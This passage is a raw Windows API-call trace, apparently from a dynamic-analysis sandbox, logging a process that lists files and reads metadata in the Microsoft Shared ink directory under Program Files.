ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.377] GetLastError () returned 0x12 [0143.377] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.377] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0143.377] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.377] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.377] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0143.377] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="")) returned 1 [0143.377] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98ce60 [0143.378] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.406] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0143.406] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.406] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x995a70 [0143.406] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995a70, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x995a70, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.406] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x995a70) returned 1 [0143.406] NtClose (Handle=0x1a4) returned 0x0 [0143.406] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.406] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.406] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.406] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98ce60 [0143.406] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.406] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x993950 [0143.407] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829cb8 [0143.407] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.408] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0143.408] GetLastError () returned 0x12 [0143.408] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.408] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0143.408] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.408] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0143.408] GetLastError () returned 0x12 [0143.408] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x993950) returned 1 [0143.408] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.408] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.408] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.408] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1 [0143.408] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0143.408] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0143.408] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1 [0143.408] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0143.409] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, 